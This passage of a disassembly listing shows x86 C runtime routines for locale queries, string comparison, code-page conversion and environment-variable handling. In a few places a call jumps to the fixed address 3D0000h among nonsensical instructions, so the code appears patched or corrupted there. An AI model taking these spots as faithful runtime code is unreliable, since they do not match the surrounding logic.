sub_436680+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_436680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436820 proc near ; CODE XREF: sub_435830+4Bp ; sub_435830+7Ep ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43AF08 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4EECFC, 0 jnz short loc_436892 push 0 push 0 push 1 push 0 call ds:dword_4F12AC ; GetLocaleInfoW test eax, eax jz short loc_43686D mov ds:dword_4EECFC, 1 jmp short loc_436892 ; --------------------------------------------------------------------------- loc_43686D: ; CODE XREF: sub_436820+3Fj push 0 push 0 push 1 push 0 call ds:dword_4F1354 ; GetLocaleInfoA test eax, eax jz short loc_43688B mov ds:dword_4EECFC, 2 jmp short loc_436892 ; --------------------------------------------------------------------------- loc_43688B: ; CODE XREF: sub_436820+5Dj xor eax, eax jmp loc_4369B1 ; --------------------------------------------------------------------------- loc_436892: ; CODE XREF: sub_436820+2Dj ; sub_436820+4Bj ... cmp ds:dword_4EECFC, 2 jnz short loc_4368B6 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F1354 ; GetLocaleInfoA jmp loc_4369B1 ; --------------------------------------------------------------------------- loc_4368B6: ; CODE XREF: sub_436820+79j cmp ds:dword_4EECFC, 1 jnz loc_4369AF cmp [ebp+arg_10], 0 jnz short loc_4368D2 mov ecx, ds:dword_4EEA80 mov [ebp+arg_10], ecx loc_4368D2: ; CODE XREF: sub_436820+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F12AC ; GetLocaleInfoW mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4368F4 xor eax, eax jmp loc_4369B1 ; --------------------------------------------------------------------------- loc_4368F4: ; CODE XREF: sub_436820+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41DEB0 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_436936 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_436936: ; CODE XREF: sub_436820+FDj cmp [ebp+var_20], 0 jnz short loc_436940 xor eax, eax jmp short loc_4369B1 ; --------------------------------------------------------------------------- loc_436940: ; CODE XREF: sub_436820+11Aj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4F12AC ; GetLocaleInfoW test eax, eax jnz short loc_43695E xor eax, eax jmp short loc_4369B1 ; --------------------------------------------------------------------------- loc_43695E: ; CODE XREF: sub_436820+138j cmp [ebp+arg_C], 0 jnz short loc_436986 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_10] push ecx call ds:dword_4F1384 ; WideCharToMultiByte mov [ebp+var_24], eax jmp short loc_4369AA ; --------------------------------------------------------------------------- loc_436986: ; CODE XREF: sub_436820+142j push 0 push 0 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_10] push edx call ds:dword_4F1384 ; WideCharToMultiByte mov [ebp+var_24], eax loc_4369AA: ; CODE XREF: sub_436820+164j mov eax, [ebp+var_24] jmp short loc_4369B1 ; --------------------------------------------------------------------------- loc_4369AF: ; CODE XREF: sub_436820+9Dj xor eax, eax loc_4369B1: ; CODE XREF: sub_436820+6Dj ; sub_436820+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_436820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4369D0 proc near ; CODE XREF: sub_436070+2Dp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43AF60 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4EED00, 0 jnz short loc_436A56 push 1 push offset dword_43A2A8 push 1 push offset dword_43A2A8 push 0 push 0 call ds:dword_4F12A4 ; CompareStringW test eax, eax jz short loc_436A27 mov ds:dword_4EED00, 1 jmp short loc_436A56 ; --------------------------------------------------------------------------- loc_436A27: ; CODE XREF: sub_4369D0+49j push 1 push offset dword_43A2A4 push 1 push offset dword_43A2A4 push 0 push 0 call ds:dword_4F12A8 ; CompareStringA test eax, eax jz short loc_436A4F mov ds:dword_4EED00, 2 jmp short loc_436A56 ; --------------------------------------------------------------------------- loc_436A4F: ; CODE XREF: sub_4369D0+71j xor eax, eax jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436A56: ; CODE XREF: sub_4369D0+2Dj ; sub_4369D0+55j ... cmp [ebp+arg_C], 0 jle short loc_436A6F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_436DD0 add esp, 8 mov [ebp+arg_C], eax loc_436A6F: ; CODE XREF: sub_4369D0+8Aj cmp [ebp+arg_14], 0 jle short loc_436A88 mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax call sub_436DD0 add esp, 8 mov [ebp+arg_14], eax loc_436A88: ; CODE XREF: sub_4369D0+A3j cmp ds:dword_4EED00, 2 jnz short loc_436AB4 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F12A8 ; CompareStringA jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436AB4: ; CODE XREF: sub_4369D0+BFj cmp ds:dword_4EED00, 1 jnz loc_436DB2 cmp [ebp+arg_18], 0 jnz short loc_436AD0 mov ecx, ds:dword_4EEA80 mov [ebp+arg_18], ecx loc_436AD0: ; CODE XREF: sub_4369D0+F5j cmp [ebp+arg_C], 0 jz short loc_436AE0 cmp [ebp+arg_14], 0 jnz loc_436C5C loc_436AE0: ; CODE XREF: sub_4369D0+104j mov edx, [ebp+arg_C] cmp edx, [ebp+arg_14] jnz short loc_436AF2 mov eax, 2 jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436AF2: ; CODE XREF: sub_4369D0+116j cmp [ebp+arg_14], 1 jle short loc_436B02 mov eax, 1 jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436B02: ; CODE XREF: sub_4369D0+126j cmp [ebp+arg_C], 1 jle short loc_436B12 mov eax, 3 jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436B12: ; CODE XREF: sub_4369D0+136j lea eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_18] push ecx call near ptr 3D0000h mov ds:775C085h, eax xor eax, eax jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436B2B: ; CODE XREF: sub_4369D0+198j cmp [ebp+arg_C], 0 jnz short loc_436B37 cmp [ebp+arg_14], 1 jz short loc_436B64 loc_436B37: ; CODE XREF: sub_4369D0+15Fj cmp [ebp+arg_C], 1 jnz short loc_436B43 cmp [ebp+arg_14], 0 jz short loc_436B64 loc_436B43: ; CODE XREF: sub_4369D0+16Bj push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"... push 0 push 0B6h push offset dword_43AF14 push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_436B64 int 3 ; Trap to Debugger loc_436B64: ; CODE XREF: sub_4369D0+165j ; sub_4369D0+171j ... xor edx, edx test edx, edx jnz short loc_436B2B cmp [ebp+arg_C], 0 jle short loc_436BE3 cmp [ebp+var_3C], 2 jnb short loc_436B80 mov eax, 3 jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436B80: ; CODE XREF: sub_4369D0+1A4j lea eax, [ebp+var_36] mov [ebp+var_40], eax jmp short loc_436B91 ; --------------------------------------------------------------------------- loc_436B88: ; CODE XREF: sub_4369D0:loc_436BD7j mov ecx, [ebp+var_40] add ecx, 2 mov [ebp+var_40], ecx loc_436B91: ; CODE XREF: sub_4369D0+1B6j mov edx, [ebp+var_40] xor eax, eax mov al, [edx] test eax, eax jz short loc_436BD9 mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_436BD9 mov eax, [ebp+arg_8] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx] cmp ecx, eax jl short loc_436BD7 mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] cmp edx, ecx jg short loc_436BD7 mov eax, 2 jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436BD7: ; CODE XREF: sub_4369D0+1E8j ; sub_4369D0+1FBj jmp short loc_436B88 ; --------------------------------------------------------------------------- loc_436BD9: ; CODE XREF: sub_4369D0+1CAj ; sub_4369D0+1D6j mov eax, 3 jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436BE3: ; CODE XREF: sub_4369D0+19Ej cmp [ebp+arg_14], 0 jle short loc_436C5C cmp [ebp+var_3C], 2 jnb short loc_436BF9 mov eax, 1 jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436BF9: ; CODE XREF: sub_4369D0+21Dj lea edx, [ebp+var_36] mov [ebp+var_40], edx jmp short loc_436C0A ; --------------------------------------------------------------------------- loc_436C01: ; CODE XREF: sub_4369D0:loc_436C50j mov eax, [ebp+var_40] add eax, 2 mov [ebp+var_40], eax loc_436C0A: ; CODE XREF: sub_4369D0+22Fj mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_436C52 mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_436C52 mov edx, [ebp+arg_10] xor eax, eax mov al, [edx] mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] cmp eax, edx jl short loc_436C50 mov eax, [ebp+arg_10] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx+1] cmp ecx, eax jg short loc_436C50 mov eax, 2 jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436C50: ; CODE XREF: sub_4369D0+261j ; sub_4369D0+274j jmp short loc_436C01 ; --------------------------------------------------------------------------- loc_436C52: ; CODE XREF: sub_4369D0+243j ; sub_4369D0+24Fj mov eax, 1 jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436C5C: ; CODE XREF: sub_4369D0+10Aj ; sub_4369D0+217j push 0 push 0 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 9 mov eax, [ebp+arg_18] push eax call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_436C84 xor eax, eax jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436C84: ; CODE XREF: sub_4369D0+2ABj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41DEB0 mov [ebp+var_44], esp mov [ebp+var_18], esp mov ecx, [ebp+var_44] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_436CC6 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_436CC6: ; CODE XREF: sub_4369D0+2DDj cmp [ebp+var_24], 0 jnz short loc_436CD3 xor eax, eax jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436CD3: ; CODE XREF: sub_4369D0+2FAj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4F1370 ; MultiByteToWideChar test eax, eax jnz short loc_436CFA xor eax, eax jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436CFA: ; CODE XREF: sub_4369D0+321j push 0 push 0 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 9 mov eax, [ebp+arg_18] push eax call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_436D22 xor eax, eax jmp loc_436DB4 ; --------------------------------------------------------------------------- loc_436D22: ; CODE XREF: sub_4369D0+349j mov [ebp+var_4], 1 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_41DEB0 mov [ebp+var_48], esp mov [ebp+var_18], esp mov ecx, [ebp+var_48] mov [ebp+var_28], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_436D64 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_28], 0 mov [ebp+var_4], 0FFFFFFFFh loc_436D64: ; CODE XREF: sub_4369D0+37Bj cmp [ebp+var_28], 0 jnz short loc_436D6E xor eax, eax jmp short loc_436DB4 ; --------------------------------------------------------------------------- loc_436D6E: ; CODE XREF: sub_4369D0+398j mov edx, [ebp+var_20] push edx mov eax, [ebp+var_28] push eax mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4F1370 ; MultiByteToWideChar test eax, eax jnz short loc_436D92 xor eax, eax jmp short loc_436DB4 ; --------------------------------------------------------------------------- loc_436D92: ; CODE XREF: sub_4369D0+3BCj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F12A4 ; CompareStringW jmp short loc_436DB4 ; --------------------------------------------------------------------------- loc_436DB2: ; CODE XREF: sub_4369D0+EBj xor eax, eax loc_436DB4: ; CODE XREF: sub_4369D0+81j ; sub_4369D0+DFj ... lea esp, [ebp-54h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4369D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436DD0 proc near ; CODE XREF: sub_4369D0+94p ; sub_4369D0+ADp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_436DE2: ; CODE XREF: sub_436DD0+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_436E07 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_436E07 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_436DE2 ; --------------------------------------------------------------------------- loc_436E07: ; CODE XREF: sub_436DD0+20j ; sub_436DD0+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_436E19 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_436E1C ; --------------------------------------------------------------------------- loc_436E19: ; CODE XREF: sub_436DD0+3Fj mov eax, [ebp+arg_4] loc_436E1C: ; CODE XREF: sub_436DD0+47j mov esp, ebp pop ebp retn sub_436DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436E20 proc near ; CODE XREF: sub_4360C0+92p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi cmp [ebp+arg_0], 0 jz short loc_436E4C push 3Dh mov eax, [ebp+arg_0] push eax call sub_437270 add esp, 8 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_436E4C mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_18] jnz short loc_436E54 loc_436E4C: ; CODE XREF: sub_436E20+Bj ; sub_436E20+22j or eax, 0FFFFFFFFh jmp loc_4370FB ; --------------------------------------------------------------------------- loc_436E54: ; CODE XREF: sub_436E20+2Aj mov edx, [ebp+var_18] movsx eax, byte ptr [edx+1] neg eax sbb eax, eax inc eax mov [ebp+var_14], eax mov ecx, ds:dword_4EE988 cmp ecx, ds:dword_4EE98C jnz short loc_436E85 mov edx, ds:dword_4EE988 push edx call sub_437180 add esp, 4 mov ds:dword_4EE988, eax loc_436E85: ; CODE XREF: sub_436E20+4Fj cmp ds:dword_4EE988, 0 jnz loc_436F45 cmp [ebp+arg_4], 0 jz short loc_436EB7 cmp ds:dword_4EE990, 0 jz short loc_436EB7 call sub_4360C0 test eax, eax jz short loc_436EB2 or eax, 0FFFFFFFFh jmp loc_4370FB ; --------------------------------------------------------------------------- loc_436EB2: ; CODE XREF: sub_436E20+88j jmp loc_436F45 ; --------------------------------------------------------------------------- loc_436EB7: ; CODE XREF: sub_436E20+76j ; sub_436E20+7Fj cmp [ebp+var_14], 0 jz short loc_436EC4 xor eax, eax jmp loc_4370FB ; --------------------------------------------------------------------------- loc_436EC4: ; CODE XREF: sub_436E20+9Bj cmp ds:dword_4EE988, 0 jnz short loc_436F04 push 87h push offset dword_43AF78 push 2 push 4 call sub_41AE60 add esp, 10h mov ds:dword_4EE988, eax cmp ds:dword_4EE988, 0 jnz short loc_436EF9 or eax, 0FFFFFFFFh jmp loc_4370FB ; --------------------------------------------------------------------------- loc_436EF9: ; CODE XREF: sub_436E20+CFj mov eax, ds:dword_4EE988 mov dword ptr [eax], 0 loc_436F04: ; CODE XREF: sub_436E20+ABj cmp ds:dword_4EE990, 0 jnz short loc_436F45 push 8Eh push offset dword_43AF78 push 2 push 4 call sub_41AE60 add esp, 10h mov ds:dword_4EE990, eax cmp ds:dword_4EE990, 0 jnz short loc_436F39 or eax, 0FFFFFFFFh jmp loc_4370FB ; --------------------------------------------------------------------------- loc_436F39: ; CODE XREF: sub_436E20+10Fj mov ecx, ds:dword_4EE990 mov dword ptr [ecx], 0 loc_436F45: ; CODE XREF: sub_436E20+6Cj ; sub_436E20:loc_436EB2j ... mov edx, ds:dword_4EE988 mov [ebp+var_C], edx mov eax, [ebp+var_18] sub eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] push ecx call sub_437100 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl loc_437001 mov edx, [ebp+var_C] cmp dword ptr [edx], 0 jz loc_437001 cmp [ebp+var_14], 0 jz short loc_436FF3 push 2 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ecx+eax*4] push edx call sub_41B8F0 add esp, 8 jmp short loc_436F9F ; --------------------------------------------------------------------------- loc_436F96: ; CODE XREF: sub_436E20+19Ej mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_436F9F: ; CODE XREF: sub_436E20+174j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] cmp dword ptr [edx+ecx*4], 0 jz short loc_436FC0 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov esi, [ebp+var_C] mov edx, [esi+edx*4+4] mov [ecx+eax*4], edx jmp short loc_436F96 ; --------------------------------------------------------------------------- loc_436FC0: ; CODE XREF: sub_436E20+189j push 0B9h push offset dword_43AF78 push 2 mov eax, [ebp+var_8] shl eax, 2 push eax mov ecx, [ebp+var_C] push ecx call sub_41B2F0 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_436FF1 mov edx, [ebp+var_C] mov ds:dword_4EE988, edx loc_436FF1: ; CODE XREF: sub_436E20+1C6j jmp short loc_436FFF ; --------------------------------------------------------------------------- loc_436FF3: ; CODE XREF: sub_436E20+15Ej mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [ecx+eax*4], edx loc_436FFF: ; CODE XREF: sub_436E20:loc_436FF1j jmp short loc_437074 ; --------------------------------------------------------------------------- loc_437001: ; CODE XREF: sub_436E20+148j ; sub_436E20+154j cmp [ebp+var_14], 0 jnz short loc_43706D cmp [ebp+var_8], 0 jge short loc_437015 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_437015: ; CODE XREF: sub_436E20+1EBj push 0CEh push offset dword_43AF78 push 2 mov ecx, [ebp+var_8] lea edx, ds:8[ecx*4] push edx mov eax, [ebp+var_C] push eax call sub_41B2F0 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_437049 or eax, 0FFFFFFFFh jmp loc_4370FB ; --------------------------------------------------------------------------- loc_437049: ; CODE XREF: sub_436E20+21Fj mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [ebp+arg_0] mov [edx+ecx*4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*4+4], 0 mov eax, [ebp+var_C] mov ds:dword_4EE988, eax jmp short loc_437074 ; --------------------------------------------------------------------------- loc_43706D: ; CODE XREF: sub_436E20+1E5j xor eax, eax jmp loc_4370FB ; --------------------------------------------------------------------------- loc_437074: ; CODE XREF: sub_436E20:loc_436FFFj ; sub_436E20+24Bj cmp [ebp+arg_4], 0 jz short loc_4370F9 push 0E5h push offset dword_43AF78 push 2 mov ecx, [ebp+arg_0] push ecx call sub_41AC70 add esp, 4 add eax, 2 push eax call sub_41AE60 add esp, 10h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4370F9 mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_10] push eax call sub_41E550 add esp, 8 mov ecx, [ebp+var_18] sub ecx, [ebp+arg_0] mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] neg edx sbb edx, edx not edx and edx, [ebp+var_4] push edx mov eax, [ebp+var_10] push eax call near ptr 3D0000h add [edx+2], ch mov ecx, [ebp+var_10] push ecx call sub_41B8F0 add esp, 8 loc_4370F9: ; CODE XREF: sub_436E20+258j ; sub_436E20+285j xor eax, eax loc_4370FB: ; CODE XREF: sub_436E20+2Fj ; sub_436E20+8Dj ... pop esi mov esp, ebp pop ebp retn sub_436E20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437100 proc near ; CODE XREF: sub_436E20+139p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, ds:dword_4EE988 mov [ebp+var_4], eax jmp short loc_437117 ; --------------------------------------------------------------------------- loc_43710E: ; CODE XREF: sub_437100:loc_437168j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_437117: ; CODE XREF: sub_437100+Cj mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_43716A mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] push eax call sub_436070 add esp, 0Ch test eax, eax jnz short loc_437168 mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+arg_4] movsx ecx, byte ptr [edx+eax] cmp ecx, 3Dh jz short loc_43715A mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+arg_4] movsx edx, byte ptr [eax+ecx] test edx, edx jnz short loc_437168 loc_43715A: ; CODE XREF: sub_437100+48j mov eax, [ebp+var_4] sub eax, ds:dword_4EE988 sar eax, 2 jmp short loc_437178 ; --------------------------------------------------------------------------- loc_437168: ; CODE XREF: sub_437100+37j ; sub_437100+58j jmp short loc_43710E ; --------------------------------------------------------------------------- loc_43716A: ; CODE XREF: sub_437100+1Dj mov eax, [ebp+var_4] sub eax, ds:dword_4EE988 sar eax, 2 neg eax loc_437178: ; CODE XREF: sub_437100+66j mov esp, ebp pop ebp retn sub_437100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437180 proc near ; CODE XREF: sub_436E20+58p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax cmp [ebp+arg_0], 0 jnz short loc_4371A0 xor eax, eax jmp loc_43726A ; --------------------------------------------------------------------------- loc_4371A0: ; CODE XREF: sub_437180+17j ; sub_437180+3Bj mov ecx, [ebp+var_C] mov edx, [ecx] mov eax, [ebp+var_C] add eax, 4 mov [ebp+var_C], eax test edx, edx jz short loc_4371BD mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_4371A0 ; --------------------------------------------------------------------------- loc_4371BD: ; CODE XREF: sub_437180+30j push 146h push offset dword_43AF78 push 2 mov edx, [ebp+var_10] lea eax, ds:4[edx*4] push eax call sub_41AE60 add esp, 10h mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz short loc_4371F5 push 9 call sub_420CA0 add esp, 4 loc_4371F5: ; CODE XREF: sub_437180+69j mov edx, [ebp+arg_0] mov [ebp+var_C], edx loc_4371FB: ; CODE XREF: sub_437180+DCj mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_43725E push 14Fh push offset dword_43AF78 push 2 mov ecx, [ebp+var_C] mov edx, [ecx] push edx call sub_41AC70 add esp, 4 add eax, 1 push eax call sub_41AE60 add esp, 10h mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jz short loc_43724A mov eax, [ebp+var_C] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx] push eax call sub_41E550 add esp, 8 loc_43724A: ; CODE XREF: sub_437180+B4j mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_4371FB ; --------------------------------------------------------------------------- loc_43725E: ; CODE XREF: sub_437180+81j mov eax, [ebp+var_8] mov dword ptr [eax], 0 mov eax, [ebp+var_4] loc_43726A: ; CODE XREF: sub_437180+1Bj mov esp, ebp pop ebp retn sub_437180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437270 proc near ; CODE XREF: sub_436E20+13p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp ds:dword_4EEE3C, 0 jnz short loc_437292 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41E650 add esp, 8 jmp loc_437359 ; --------------------------------------------------------------------------- loc_437292: ; CODE XREF: sub_437270+Bj push 19h call sub_421A80 add esp, 4 jmp short loc_4372A7 ; --------------------------------------------------------------------------- loc_43729E: ; CODE XREF: sub_437270:loc_437336j mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_4372A7: ; CODE XREF: sub_437270+2Cj mov eax, [ebp+arg_0] movzx cx, byte ptr [eax] mov word ptr [ebp+var_4], cx mov edx, [ebp+var_4] and edx, 0FFFFh test edx, edx jz short loc_43733B mov eax, [ebp+var_4] and eax, 0FFh xor ecx, ecx mov cl, ds:byte_4EEF41[eax] and ecx, 4 test ecx, ecx jz short loc_437326 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_4372F8 push 19h call sub_421B20 add esp, 4 xor eax, eax jmp short loc_437359 ; --------------------------------------------------------------------------- loc_4372F8: ; CODE XREF: sub_437270+78j mov edx, [ebp+var_4] and edx, 0FFFFh shl edx, 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] or edx, ecx cmp [ebp+arg_4], edx jnz short loc_437324 push 19h call sub_421B20 add esp, 4 mov eax, [ebp+arg_0] sub eax, 1 jmp short loc_437359 ; --------------------------------------------------------------------------- 